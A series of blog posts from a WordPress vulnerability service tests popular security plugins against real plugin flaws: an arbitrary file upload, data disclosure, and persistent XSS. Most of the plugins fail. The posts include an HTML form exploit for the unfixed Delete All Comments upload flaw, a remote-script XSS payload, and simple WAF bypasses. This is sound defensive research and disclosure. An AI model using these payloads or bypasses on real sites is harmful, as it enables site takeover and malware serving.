16 Dec

No WordPress Security Plugin Prevented Exploitation of Unfixed Arbitrary File Upload Vulnerability in Popular Plugin

When it comes to the chances of vulnerabilities being exploited the reality is that many types of vulnerabilities are highly unlikely to have anyone even try to exploit them. Unfortunately far too often we see security companies and the press making a big deal of vulnerabilities that are are of little to no threat, while ignoring vulnerabilities and broader security issues that are leading to websites being hacked (that lead us to providing information on likelihood that a vulnerability is to be exploited to the data for our service). When it comes to types that are likely to be exploited, the arbitrary file upload vulnerability, which allows a hacker to upload files of any kind to a website, is probably the one with the most exploit attempts and also then ends up leading to the most websites being hacked. So if a WordPress security plugin is going to protect against any type of vulnerability this seems like this is the one you would most want it to be able protect against.

Back in September we tested out security plugins against this type of vulnerability and the results were not good. Of the 12 plugins tested only 3 provided any protection. The protections 2 of them provide was easily bypassed for this particular vulnerability and the remaining plugin’s protection also meant that Editor level and below users could not upload files either.

With the vulnerability tested then the file to be uploaded was included with the upload request, which provides security plugins a relatively easy way to detect the possibility of a malicious upload occurring as they can see all files being included in the request by checking the $_FILES variable. An arbitrary file upload vulnerability can also involve getting a file from another website, which should make it harder to detect.

Just such a vulnerability was disclosed in the plugin Delete All Comments (which recently had 30,000+ active installs according to wordpress.org) by the security company NinTechNet on Saturday, which they had discovered while cleaning up a website that had been hacked due to it. The vulnerability is just the type of thing that could show the value of a security plugin as the vulnerability has not been fixed, so even if you keep your plugins up to date at all times you are still vulnerable if you are using (WordPress could step in to provide a secured version, but so far they have not). So we decided to test out security plugins to see if they are able to protect against it.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.7, installed the version 2.0 of Delete All Comments, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the following HTML to launch the upload request in the exploit attempts:

<form method="POST" action="http://[path to WordPress]">
<input type="text" name="restorefromfileURL" value="[URL of file to be upload]">
<input type="text" name="restorefromfileNAME" value="test.php">
<input type="submit">
</form>

The 15 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. We added three new plugins in this round of testing: Block Bad Queries (BBQ), Centrora Security, and Total Security. Followers of our blog might recognize two of those, as we previously disclosed a pair security vulnerabilities we found Centrora Security and Total Security (yes security plugins can introduce additional security issues on your website). If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

None of the plugins tested prevented the vulnerability from being exploited.

We were surprised NinjaFirewall (WP Edition) didn’t prevent this since the developer was the one that discovered the vulnerability and they state that:

Alternatively, if your are using NinjaFirewall (WP/WP+ Edition), our WordPress WAF, you are protected against it.

One possible explanation for this discrepancy is that we sent the exploit attempt request to homepage of the website while the hack shown in their post had the request sent to /wp-content/plugins/delete-all-comments/delete-all-comments.php. When we sent the request to that URL instead it was blocked.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

Block Bad Queries (BBQ)

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

Centrora Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Failed to prevent exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Total Security

Result: Failed to prevent exploitation.

Wordfence

Result: Failed to prevent exploitation.

Protecting Against Plugin Vulnerabilities

Seeing as the security plugins provided no protection, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you. In this case the vulnerability can exploited when not active if the request is sent directly to plugin’s file.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service. We added this vulnerability on Monday.
  • Sign up for our service. Not only do you get alerted if there is a vulnerability in a currently installed version of a plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins. With our service you get a more limited version of this as you can suggest and vote for plugins to have basic security reviews done by us.
17 Nov

Even Security Plugin Mislabels Vulnerability as Less Concerning Potential Vulnerability

Nearly two years ago we looked over the vulnerabilities that were in our data set at the time to get a better understanding of how often security fixes are left out of the changelog entries for the version of the WordPress plugin that fixed it. We found that nearly 20 percent of the time no mention was made of a vulnerability being fixed (that included one instance were the vulnerability was being exploited before it was fixed). That is a good reminder that you really need to be keeping your plugin update at all times since there is good chance you won’t know that an update includes a security fix.

Vulnerabilities fixes being left out of the changelogs is not the only issue with getting accurate information from the changelogs. We also find that sometimes vulnerabilities are incorrectly describe as possible or potential vulnerabilities. In the previously mentioned analysis we also found that  15 percent of the vulnerabilities were inaccurately labeled as either being a possible or potential vulnerability. A possible or potential vulnerability would accurarelty refer to a situation where there is code that isn’t properly secured but there isn’t a known way to exploit that code. For example, a plugin might have a database query that isn’t properly secured against SQL injection but no one who looked at the issue figured out how to get malicious code passed to the query. That obviously isn’t as much concern as a vulnerability that is known to be exploitable and depending on security requirement in an organization that may alter the amount of post disclosure checking that needs to be done.

Since the average plugin developer isn’t likely to be too familiar with security that mislabeling is somewhat understandable, but when it comes from a security plugin it is harder to understand how that could happen. While reviewing a vulnerability disclosed in the plugin All In One WP Security & Firewall yesterday we found that in the changelog for the version with the fix, 4.2.0, it states that

Fixed a few potential XSS vulnerabilities.

The vulnerability is common type, a reflected cross-site scripting (XSS), and is easily exploited as can be seen with the proof of concept included with the report, so we can’t understand how it could have been mislabeled (six additional changelog entries for other versions refer to potential vulnerabilities as well).

This is the same plugin that we discussed earlier this week due to one of its developer’s belief that it is normal for security plugin’s to contain security vulnerabilities, so concern for security doesn’t seem to be all that important among its developers.

14 Nov

Developer Of WordPress Security Plugin Thinks Its Normal For Security Plugins to be Insecure

When it comes to the poor state of security one of the big problems is that instead of addressing the causes of that poor security, the focus is often on pushing security products, which are often of limited use and when it comes to WordPress plugins, are known to introduce their own security vulnerabilities.

The lack of addressing the causes isn’t due to the causes being hard to find or understand. Take for instance what happened after Apple failed to put out a security update for their Java implementation for the Mac OS in a timely manner back in 2012. Oracle released the security update for Java in February, but it wasn’t until April that Apple released an updated version of their implementation, which was after attackers started using one of the vulnerabilities to get malware on Macs. So you had a clear issue, that Apple was not releasing security updates in a timely manner, and also the broader issue of the responsibility of software makers to release security updates for their software. While that didn’t go unmentioned, much of the coverage was how Macs needed anti-virus software. That was even though anti-virus software doesn’t fix the underlying issues, it instead tries to detect malicious code that would exploit the underling issue, which is rather difficult to accomplish (especially versus fixing known vulnerabilities). If the underlying cause had been the focus back then maybe things would have changed and you wouldn’t have the problem with many smartphones in use that are not (and in some cases never) receiving security updates.

When it comes to the security of WordPress based websites instead of focusing on dealing real issues, far too often the focus is non-existent issues or pushing security plugins. While the handling of vulnerabilities in the WordPress software is quite good and we haven’t seen one be the source of many websites in years, the same can’t be said for plugins. Not only are the plenty of vulnerabilities that have been found in those that hackers would target, but far too often vulnerabilities are not fixed in a timely manner or at all.

As our recent testing has shown WordPress security plugins provide little protection against vulnerabilities in other plugins, with many of the tested security plugins providing no protection against any of three vulnerabilities we have tested so far. One of those that provided no protection is All In One WP Security & Firewall. We recently ran across a review of the plugin, which had a troubling response from one of the plugin’s developers.

The reviewer complained that the “plugin is riddled with vulnerabilities. I have been using it for a year now and almost every new version fixes a vulnerability! Just look at the changelog: sql injection, cross site scripting etc.”.

The developers response reads in part:

I am yet to find a security plugin in the repository that is not been regularly updated with security patches, vulnerability etc and is 100% perfect. However because all these security plugins are being updated it means that their respective developers are doing their best to keep their plugins secure and stable just like the developers of this plugin, which is what an update is all about.

If you are going to worry about this plugin that releases updates to improve the security then I think you might be disappointed because all other security plugins in the repository as I mentioned above also keep releasing updates for the same reason as you stated above.

That is a rather disturbing view. While we wouldn’t expect any software to never have a security issue, as some types of vulnerabilities and not even known yet, so even someone security conscious wouldn’t even know to check for them, and an occasional mistake can be understood. But if you are regularly releasing security updates for a plugin that likely indicates that there is a fairly fundamental lack of concern for security by the developers. The idea that would be something that would be normal with a security plugin should be rather troubling to everyone. In this case it is the view of one of the developers of a plugin that over 400,000 websites are relying on for security.

While it isn’t true that all other security plugins have frequent updates for security vulnerabilities, what we have found in reviewing vulnerabilities for our service, is that security plugins have sometimes had worse than average security, which you wouldn’t expect.

One thing that you rarely see is plugin’s making admin pages available to lower level than intended users, one of the few exceptions was a security plugin, which made it setting’s page available to Contributor level users and above. That would have been big issue with the plugin, since anyone who change the plugin’s settings could place malicious code on the website, but it turned that you could also change the settings without being logged in to WordPress. We ran across that vulnerability after it looks like it had already been being exploited in the wild for five months (at that time the vulnerability existed in the current version of the plugin, which was available on the Plugin Directory).

In another security plugin we found that instead of handling the saving changes to plugin’s setting by sending a request back to setting’s page (which is relatively secure and is how it is usually done) they decided to listen for the setting’s change being sent to any page on the website (fronted or backend) and didn’t do any check to see who was making that request.

26 Sep

No WordPress Security Plugins Protected Against Recently Disclosed Vulnerability That Exposes WooCommerce Order Data

Recently we started testing to see what protection WordPress security plugins provide against vulnerabilities in other plugins (since plugins vulnerabilities are an actual source of websites being hacked, unlike some other things that these plugins make a big deal or providing protection against). The first vulnerability we tested could be used for serving up malware on a website and the second could give an attacker control over the website. Both of those are types of vulnerabilities that are the kind that are often thought of when discussing the security of websites, for example the very popular Wordfence plugin is advertised as “protecting your website from hacks and malware”. Not every security issue though falls into those categories. As you can guess from the name, an information disclosure vulnerability involves the disclosure of information that isn’t intended to be public and those can be a serious issue. For example, if you run an eCommerce you wouldn’t want your customers’ details to be accessible by the public.

WooCommerce is an popular eCommerce plugin for WordPress, which has over 1+ million active installs according to wordpress.org (we use it on this website). There are numerous plugins that expand on its functionality. The security of those isn’t always good. Among the issue we have found in some of those plugins this year were two arbitrary file upload vulnerabilities and a vulnerability that allowed changing the price of products. Recently David Peltier discovered that the plugin Order / Coupon / Subscription Export Import Plugin for WooCommerce (BASIC) had an information disclosure vulnerability that allowed anyone to get a copy of the orders made through WooCommerce on the website. Including in that is not only the details of the order, but the customer’s details, including address and email adress. That vulnerability has now been fixed.

Based on those vulnerabilities in WooCommerce related plugins, it is clear that plugins on websites that likely contain sensitive data are not receiving the security scrutiny that they should be. So if WordPress security plugins provided protection against information disclosure vulnerabilities that could be of significant value.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.6.1, installed the version 1.0.8 of Order / Coupon / Subscription Export Import Plugin for WooCommerce (BASIC), and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the proof of concept included in the report on the vulnerability.

The 12 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

None of the plugins tested prevent the vulnerability from being exploited.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Failed to prevent exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Wordfence

Result: Failed to prevent exploitation.

Protecting Against Plugin Vulnerabilities

Seeing as the security plugins provided no protection, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service.
  • Sign up for our service. Not only do get alerted if there is a vulnerability in the currently installed plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins.
22 Sep

Only One WordPress Security Plugin Fully Protected Against a Recently Disclosed Arbitrary File Upload Vulnerability

Last week we did our first test to see what protection that WordPress security plugins can provide against the exploitation of the vulnerabilities in plugins. The results for a persistent cross-site scripting (XSS) vulnerability were not good, with only 2 of the 11 plugins tested providing any protection and even the protection in those two was easily bypassed.

Earlier this week we disclosed a set of arbitrary file upload vulnerabilities in four plugins by the same developer. While these vulnerabilities are of the type that are likely to be exploited (you can now know how likely vulnerabilities are to be exploited with our service), after we contacted the developer, they took two weeks to fix one and the other three have yet to be fixed two months later. That shows a couple of the problems with being able to protect against plugin vulnerabilities at this time, one being that vulnerabilities are not fixed in a timely manner and the other being that simply keeping you plugins up to date will not protect you.

An arbitrary file upload vulnerability allows an attacker to upload any type of file to the website. They would usually use that upload .php file that contains PHP code, which provide them further access to the website or allows them to take further malicious actions.

To see how security plugins would protect against this type of vulnerability we will test them out against the arbitrary file upload vulnerability that exists in N-Media Post Front-end Form simply because that was the first one of those plugins that we discovered had a vulnerability, which we found while looking in to the possibility that plugin had a vulnerability elsewhere in its code.

From what we see monitoring hacking attempts it looks as if arbitrary file upload vulnerabilities are the most frequently targeted vulnerability in WordPress plugins and from cleaning up many hacked WordPress websites they also frequently are the cause of websites being hacked. Based on that you would expect that if security plugins could protect against some type of vulnerability this would be one type that they would. It also seems like it should be relatively easy to monitor files that are being uploaded directly to the website, by check the contents $_FILES variable of PHP, increasing the chances they can stop this type of issue in its most basic form.

Continuing something that came up while working on the first test, we first trying exploiting the vulnerability in and then for plugins that we found stop exploitation we look if we can find a way to bypass that protection without looking at the underlying code (black-box testing).

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.6.1, installed the latest version of N-Media Post Front-end Form, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the proof of concept included in our previous post and uploaded a file with a .php extension that contains PHP code.

The 12 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

Only three of the plugins tested, Anti-Malware Security and Brute-Force Firewall, NinjaFirewall (WP Edition) and Wordfence, prevented the vulnerability from being exploited in the original test. But we were able to easily bypass the protection in two of those, Anti-Malware Security and Brute-Force Firewall and Wordfence, without even looking the at the underlying source code of how their protection works (that source code would be available to anyone looking to exploit them). With both plugins simply uploading a file with .jpg extension instead of .php evaded their protection. Since you also specify what the file will be named on the server with this vulnerability, the extension of the uploaded file doesn’t dictate the extension of the file on the server.

It is interesting to note that the only plugin to fully protect against the vulnerability, NinjaFirewall (WP Edition), was one of the least popular of the plugins tested, with only 10,000+ active installs. That is a good reminder that the popularity of security plugins has little bearing on the protection they provide.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Prevented exploitation, but bypass around protection was easily found.

BulletProof Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Prevented exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Wordfence

Result: Prevented exploitation, but bypass around protection was easily found.

Protecting Against Plugin Vulnerabilities

Seeing as most of those security plugins provided no protection and all but one other was easily bypassed, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service.
  • Sign up for our service. Not only do get alerted if there is a vulnerability in the currently installed plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins.
12 Sep

WordPress Security Plugins Provide Little to No Protection Against Recently Discovered Persistent XSS Vulnerability

In the past few months we have done several one off tests of WordPress security plugins to see if they could prevent exploitation of a vulnerability in a plugin. We tested an extraordinary claim by Wordfence that their plugin could prevent persistent cross-site scripting (XSS) and found that it failed both with a vulnerability that required authentication and one that didn’t. We also tested the iThemes Security security plugin against an arbitrary file upload vulnerability that we have found was being exploited in another plugin by one that plugin’s developers and it also failed to prevent exploitation.

That these plugins failed to prevent these vulnerabilities from being exploited wasn’t all that surprising considering the poor state of the security community overall and in particular the one surrounding WordPress. Whether it is security companies making up threats, not understanding the difference between vulnerabilities, or spreading false information about WordPress installations being vulnerable due to not understanding how WordPress handles security updates, it is clear that there isn’t a good understanding of security by the people and companies in the security community.

To get a better understanding of how security plugins impact the threat of plugin vulnerabilities we thought it would be useful to start testing a wider set of them against real world vulnerabilities to see how much protection they provide.

For the inaugural edition, we tested out a persistent cross-site scripting (XSS) vulnerability that existed in the plugin WP-Piwik prior to 1.0.11. The vulnerability highlights a number of the problems we see surrounding vulnerabilities in WordPress plugins these days. In reviewing one of the outside data sources we use to help detect vulnerabilities being targeted by hackers we found an indication that there was hacker interest in the plugin back in January. In looking over the plugin we found that anyone could change the plugin’s settings (you didn’t need to be logged in to do that) and that could be exploited to run malicious JavaScript code on to the frontend pages of the website. A similar vulnerability in another plugin was exploited on a large scale to serve malware on websites in February of last year, so unlike a lot of vulnerabilities that are not of much concern, this one was.

Once we had found the vulnerability we quickly notified the developer of the details of the issue, suggested they may want to request to have the plugin automatically updated after being fixed, and let them know that if they needed any help in dealing with it, to get back to us. Two weeks went by without any response or the vulnerability being fixed. At that point we disclosed the vulnerability, added it to the data that comes with our service’s companion plugin (so that even those that don’t use the service would get alerted), and notified the Plugin Directory of the issue.

A short time later the plugin was removed from the Plugin Directory, which protected those not already using the plugin from being exposed to the issue. Those already using the plugin were left in the dark since WordPress continues to refuse to alert them in such a situation.

Two days later the plugin returned the Plugin Directory with a new version, 1.0.10, that was supposed to fixed the vulnerability, but didn’t. Plugins returning to the Plugin Directory without actually being fixed is continuing problem. After noticing that we contacted the developer again to notify the vulnerability still existed and to provide suggestions on properly fixing the vulnerability. We got a response from them a short time later. Two days later the vulnerability was fixed with version 1.0.11.

Seeing as the vulnerability could have been being exploited for months before it was fixed a security plugin that protected against it before them would have provided some real value.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.6.1, installed the last vulnerable version of WP-Piwik, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the proof of concept included in our previous post on the vulnerability with one change. To simulate what a hacker might do, we set it so that the a JavaScript file from another website would be loaded on the website’s page. In a real exploitation that would then server up malicious code. We did it with this format:

<script src=”https://www.example.com/script.js”></script>

We used a real domain that we control instead of example.com for the testing.

The 11 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

Only two of the plugins tested, NinjaFirewall (WP Edition) and Wordfence, prevented the vulnerability from being exploited with the original code. But we were able to easily bypass the protection in those two without even looking the at the underlying source code of how their protection works (that source code would be available to anyone looking to exploit them).

For NinjaFirewall (WP Edition) we bypassed the protection first by removing the “</script>” tag from the malicious code, that didn’t impact the malicious code running due to a closing “</script>” existing after the location it is placed when using the WordPress template.

For Wordfence simply changing the beginning of it from “<script” to “<\script” allowed the protection to be bypassed. That had no impacted on the code ultimately served up to users unlike the bypass for NinjaFirewall (WP Edition). After noticing that we realized the same type of bypass could be used on NinjaFirewall (WP Edition), by replacing “</script>” with “</\script”>.

It is interesting to note that one of the two plugin that provide any protection is also tied for the least popular of the plugins tested, with only 10,000+ active installs. That is a good reminder that the popularity of security plugins has little bearing on the protection they provide, instead what matters is what security features are included, in this case a firewall.

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Prevented exploitation, but bypass around protection was easily found.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Wordfence

Result: Prevented exploitation, but bypass around protection was easily found.

Protecting Against Plugin Vulnerabilities

Seeing as most of those security plugins provided no protection and the others were easily bypassed, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities like this that it looks like a hacker is already exploiting we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service.
  • Sign up for our service. Not only do get alerted if there is a vulnerability in the currently installed plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins.